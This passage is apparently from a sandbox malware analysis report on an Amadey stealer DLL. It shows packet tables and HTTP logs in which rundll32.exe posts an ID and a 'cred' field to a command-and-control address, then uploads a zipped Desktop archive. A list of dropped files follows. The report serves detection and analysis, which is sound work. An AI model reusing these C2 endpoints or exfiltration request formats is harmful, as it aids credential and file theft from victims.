Feb 21, 2025 01:52:40.477207899 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477242947 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477256060 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.477287054 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477345943 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477391005 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477401972 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.477427959 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.477431059 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477438927 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.477447987 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.477485895 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.477539062 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.477587938 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477652073 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.477653980 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477704048 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477742910 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477761984 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.477788925 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.477832079 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.478122950 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478333950 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478343010 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478435040 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478467941 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478477001 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478512049 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478692055 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478701115 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478724957 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478821993 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.478977919 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.479060888 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.479090929 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.479377985 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.479387999 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.479681969 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.479773045 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.479783058 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.479860067 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.479878902 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.480117083 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.480212927 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.480429888 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.480561018 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.480833054 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.480845928 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.481369019 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.481408119 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.481558084 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.481566906 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.481592894 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.481801033 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.481909990 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.481920004 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482036114 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482253075 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482263088 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482275009 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482299089 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482331991 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482364893 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482558966 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482594967 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482666969 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482724905 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482734919 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.482768059 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.654620886 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.654927969 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.878592968 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:41.174675941 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:41.174909115 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:41.272278070 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:47.883544922 CET	49729	80	192.168.2.10	185.196.8.37

HTTP Request Dependency Graph

185.196.8.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49701	185.196.8.37	80	7892	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Feb 21, 2025 01:52:19.648806095 CET	172	OUT	POST /Gd85kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.196.8.37 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Feb 21, 2025 01:52:20.345500946 CET	148	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 00:52:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49702	185.196.8.37	80	7916	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Feb 21, 2025 01:52:19.649265051 CET	172	OUT	POST /Gd85kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.196.8.37 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Feb 21, 2025 01:52:20.354409933 CET	148	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 00:52:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49729	185.196.8.37	80	7228	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Feb 21, 2025 01:52:24.835906029 CET	172	OUT	POST /Gd85kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.196.8.37 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Feb 21, 2025 01:52:25.522568941 CET	148	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 00:52:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49823	185.196.8.37	80	7892	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Feb 21, 2025 01:52:39.913918972 CET	168	OUT	POST /Gd85kkjf/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NjE0Ng== Host: 185.196.8.37 Content-Length: 6306 Cache-Control: no-cache
Feb 21, 2025 01:52:39.914052010 CET	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 6a 45 30 4e 67 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NjE0Ng==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Feb 21, 2025 01:52:39.914107084 CET	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Feb 21, 2025 01:52:39.914182901 CET	8	OUT	Data Raw: 08 00 f2 33 45 57 34 fc Data Ascii: 3EW4
Feb 21, 2025 01:52:39.914182901 CET	8	OUT	Data Raw: e7 a0 84 02 00 00 02 04 Da

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cred64.dll.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Initial Sample

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip

C:\Users\user\AppData\Local\Temp\_Files_\NVWZAPQSQL.xlsx

C:\Users\user\AppData\Local\Temp\_Files_\PIVFAGEAAV.docx

C:\Users\user\AppData\Local\Temp\_Files_\QCFWYSKMHA.docx

C:\Users\user\AppData\Local\Temp\_Files_\QCFWYSKMHA.xlsx

C:\Users\user\AppData\Local\Temp\_Files_\QNCYCDFIJJ.docx

C:\Users\user\AppData\Local\Temp\_Files_\SQSJKEBWDT.xlsx

C:\Users\user\AppData\Local\Temp\_Files_\SUAVTZKNFL.docx

C:\Users\user\AppData\Local\Temp\_Files_\SUAVTZKNFL.xlsx

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2cbzicsc.uyl.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2u35drnc.yfh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qifa4f3.qe4.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xxu2v52.zci.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_at30zwed.zs2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e4peltgy.gco.psm1

Windows Analysis Report
cred64.dll.dll